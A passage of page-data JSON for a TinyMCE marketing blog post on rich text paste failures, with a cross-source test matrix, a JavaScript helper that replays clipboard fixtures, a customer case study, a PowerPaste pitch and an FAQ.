browsers"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The same screenshot, pasted in Safari and in Chrome"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Same stored result in both: an uploaded image, no blob or data URL left behind"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Excel"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Table with merged header cells and a currency column"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"colspan"}]},{"type":"text","value":"/"},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"rowspan"}]},{"type":"text","value":" kept, styling matches your policy"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Google Docs"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Paragraph with partial bold, a link, a small table"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<b>"}]},{"type":"text","value":" wrapper, bold as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"<strong>"}]},{"type":"text","value":", link intact"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Outlook"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Customer email with a signature and colored text"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No hard-coded colors or fonts unless your policy allows them"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Web page"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Article with site styles and an embedded video"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No foreign classes, iframe sandboxed"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"AI chat tool"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Answer with a list and a code block"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Markdown and HTML both convert to the same structure"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"tr","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Hostile page"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Script, event-handler, and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"javascript:"}]},{"type":"text","value":" URL samples"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"td","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"No handlers, scripts, or "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"javascript:"}]},{"type":"text","value":" URLs survive"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Run the matrix in Chrome, Edge, Firefox, and Safari, on both Windows and macOS. For automated runs, save each source's "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/html"}]},{"type":"text","value":" as a fixture and replay it through the editor's real paste path:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-javascript"]},"children":[{"type":"text","value":"// Replay a saved clipboard fixture through the editor's paste handling\nasync function replayPaste(editor, html, text = '') {\n  const data = new DataTransfer();\n  data.setData('text/html', html);\n  data.setData('text/plain', text);\n  editor.getBody().dispatchEvent(\n    new ClipboardEvent('paste', { clipboardData: data, bubbles: true, cancelable: true })\n  );\n  await new Promise((resolve) => setTimeout(resolve, 500));\n  return editor.getContent();\n}"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Set your paste mode explicitly in the test configuration so no formatting prompt blocks the run, and compare the returned HTML against an approved snapshot. Synthetic events don't reproduce operating-system clipboard quirks, so keep the manual pass."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Two more tests can help catch issues you might otherwise miss. Run a roundtrip: paste, save, reload, and compare the structure (lists, headings, merged cells) rather than raw HTML strings, because some damage only appears after storage. Then measure paste in production: log the HTML size before and after cleaning, and tag paste-related support tickets, so you can show whether paste quality improves release by release."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"What paste handling costs when you own it"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Paste handling is never finished. Word, Excel, and Google Docs change their output, browsers change their clipboard APIs, and every regression reaches you as a support ticket. The real decision is who maintains the pipeline."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"It's tempting to hand the job to an AI coding assistant. A generated paste handler will strip some tags and pass a demo, but it won't know that Word encodes list levels in "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"mso-list"}]},{"type":"text","value":" styles, that Google Docs wraps everything in a bold tag, or that Protected View hands you plain text. Edge cases like these are where rich text editing gets expensive, and a general-purpose AI tool doesn't cover them."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/customer-stories/hype-innovation-case-study/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"HYPE Innovation"}]},{"type":"text","value":", which builds innovation management software, learned this the hard way. Customers kept running into formatting problems when they pasted text from Microsoft Word into the rich text editor in HYPE's product, and fixing them consumed developer and support time. Senior software developer Simon Reinhardt summed up the turning point: \"We reached a point where we received another support request and thought, what else can we do? Should we continue investing in this?\" After moving to TinyMCE with PowerPaste, HYPE reports 50% fewer text-editing support tickets and estimates it saves 20 developer days a year."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Owning paste means owning every new Word build and every Google Docs change, indefinitely. TinyMCE has spent "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/enterprise-rich-text-editor/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"roughly two decades"}]},{"type":"text","value":" on these edge cases, and "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/legal/tiny-self-hosted-enterprise-agreement/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Tiny's self-hosted Enterprise agreement"}]},{"type":"text","value":" commits to a four-hour response, within service hours, for issues that make effective use of the editor impossible. If you'd rather put numbers on the build option, see our "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/copy-paste-function-cost-estimate/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"clean copy-paste function cost estimate"}]},{"type":"text","value":", which breaks down the engineering effort."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"Final thoughts"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Paste failures are predictable. They fall into the seven patterns above and show up in the first week of real use. Each one is solvable; the hard part is that all seven need solving at once, and they keep changing."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Before your next release, try this: copy one nested list, one table with merged cells, and one image from Word, Excel, and Google Docs into your editor, then open the HTML source. Count the problems. Then paste the same content into the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste demo"}]},{"type":"text","value":" and compare the source view. The difference tells you whether paste is a feature you want to own."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{"className":["css-ngpmkc"],"style":"color: white; display: block; text-align: center; font-size: 1.3rem; height: auto; text-transform: initial;"},"children":[{"type":"element","tagName":"a","properties":{"style":"color: white;","href":"https://www.tiny.cloud/get-tiny/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Get TinyMCE"}]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"FAQ"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h3","properties":{},"children":[{"type":"text","value":"What does TinyMCE do on paste without PowerPaste?"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"TinyMCE has "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"built-in paste handling"}]},{"type":"text","value":" for general HTML. It includes plain-text paste ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_as_text"}]},{"type":"text","value":"), smart paste that turns pasted URLs into links or images, control over pasted data-URI images ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_data_images"}]},{"type":"text","value":"), and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_preprocess"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]},{"type":"text","value":" hooks for your own filtering. Built-in paste also sanitizes: in our test it stripped event handlers, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"javascript:"}]},{"type":"text","value":" links, and scripts, and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"xss_sanitization"}]},{"type":"text","value":" is on by default. PowerPaste adds the source-specific cleanup for Microsoft Word, Microsoft Excel, and Google Docs, plus the choice to clean or merge styles."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h3","properties":{},"children":[{"type":"text","value":"Which TinyMCE plans include PowerPaste?"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"PowerPaste is a premium plugin, so it isn't part of the free core editor. It's included in the Professional and Enterprise plans, and every plan comes with a 14-day trial of all advanced features, so you can run the test matrix against your own documents before you commit. See "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/pricing/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"TinyMCE pricing"}]},{"type":"text","value":" for current plans."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h3","properties":{},"children":[{"type":"text","value":"Can we force plain-text paste for some fields?"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Yes. Set "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_as_text: true"}]},{"type":"text","value":" on the editor instances where formatting shouldn't survive, such as titles or short descriptions, and users can still toggle the Paste as text item in the Edit menu. The trade-off is that lists, links, and tables arrive as plain lines of text, so keep rich paste for fields where structure matters."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h3","properties":{},"children":[{"type":"text","value":"Does PowerPaste handle Excel for the web and Google Sheets?"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Not fully. Because of "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"limitations in Excel for the web"}]},{"type":"text","value":" (part of Office Live), PowerPaste doesn't support pasting from it, and users get a plain-text version of the content. Copying from Google Sheets "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-support/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"may work but isn't officially supported"}]},{"type":"text","value":". The documented test targets are Word and Excel versions under Microsoft mainstream support or provided by Office 365, and the latest version of Google Docs."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h3","properties":{},"children":[{"type":"text","value":"When should we replace our editor instead of patching paste?"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"When paste fixes keep coming back. The signs are familiar: the same Word or Google Docs bugs return after source-app updates, your team maintains separate cleanup rules for each source, security reviews keep flagging the paste path, or the editor stalls on long documents. At that point paste is an ongoing maintenance cost rather than a one-off fix, and moving to an editor with maintained paste handling is often the cheaper path. HYPE Innovation made that switch and halved its text-editing support tickets."}]}],"data":{"quirksMode":false}}}},"body2":null,"codepens":null,"heroImage":{"image":{"fluid":{"base64":"data:image/jpeg;base64,UklGRogAAABXRUJQVlA4IHwAAABwBACdASoUAAsAPpE4l0eloyIhMAgAsBIJaACdMoRwACn+kAj2mySVrWTWAAD++VNMv4gmrjNVjsdNePOV0PI4/XoNfXy5lPeybzfZDvJwrR6Ox3PME+8ZplvCKnslVxiadyNEBijQC3kszOSGe/PVpVfSykWhUSYmAAAA","aspectRatio":1.7824074074074074,"src":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=2560&q=80&fit=scale","srcSet":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=640&h=359&q=80&fit=scale 640w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1280&h=718&q=80&fit=scale 1280w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1925&h=1080&q=80&fit=scale 1925w","srcWebp":null,"srcSetWebp":null,"sizes":"(max-width: 2560px) 100vw, 2560px"}},"alt":"Rich text editing looks easy article header","artistName":null,"artistUrl":null},"author":{"slug":"hubert-grzesiek","name":"Hubert Grzesiek","image":{"fluid":{"base64":"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/wAALCAAUABQBAREA/8QAGgAAAQUBAAAAAAAAAAAAAAAABgIDBAcICf/EACkQAAEEAQMCBAcAAAAAAAAAAAECAwQFEQAGBwghEhMxQRQiJTJSYWL/2gAIAQEAAD8A6D9Q7FnYccO1lXfz9ruWMpmK/b1WPi4zBVlxTJIICyE4zg4ycDOgTgLj+LxJYwa/bm6b7cdJbOOPSxdTHJgLq21LS8hxeSgktkFKSE/NkjPc6H0Cc3sWMrjK7YpZorb1bX02atjzkMSR3bWtP4+IAH9E6qfo+puYYO3kq5YdqmVR2yzCiVrxkKdUVErkOLP2ZBwED09ffA0npDzSHkFKwFJPsdNRWUNIAQkJH8gDUjX/2Q==","aspectRatio":1,"src":"//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=48&q=50&fit=scale","srcSet":"//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=12&h=12&q=50&fit=scale 12w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=24&h=24&q=50&fit=scale 24w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=48&h=48&q=50&fit=scale 48w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=72&h=72&q=50&fit=scale 72w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=96&h=96&q=50&fit=scale 96w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=144&h=144&q=50&fit=scale 144w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=500&h=500&q=50&fit=scale 500w","srcWebp":"//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=48&q=50&fm=webp&fit=scale","srcSetWebp":"//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=12&h=12&q=50&fm=webp&fit=scale 12w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=24&h=24&q=50&fm=webp&fit=scale 24w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=48&h=48&q=50&fm=webp&fit=scale 48w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=72&h=72&q=50&fm=webp&fit=scale 72w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=96&h=96&q=50&fm=webp&fit=scale 96w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=144&h=144&q=50&fm=webp&fit=scale 144w,\n//images.ctfassets.net/s600jj41gsex/4CiNnaL7u4pol0X7Lm28B0/4c8b17e9b7edf757d90fc6bedbf22eef/Hubert.jpeg?w=500&h=500&q=50&fm=webp&fit=scale 500w","sizes":"(max-width: 48px) 100vw, 48px"}},"shortBio":{"shortBio":"\nHubert Grzesiek leads product marketing at Tiugo Technologies. With around 15 years of experience in software development before moving into product marketing, he brings a developer-first perspective to topics such as rich text editing, file handling, content workflows, and building software products."}},"metaTitle":{"metaTitle":"Rich Text Paste: 7 Things That Break in Production | TinyMCE"},"metaDescription":{"metaDescription":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."},"setkaCss":null,"setkaHtml":null,"resourceFiles":null,"canonicalUrl":null}},"pageContext":{"slug":"rich-text-paste-problems-in-production","setkaPostId":0}},"staticQueryHashes":["2492987505","740350947"]}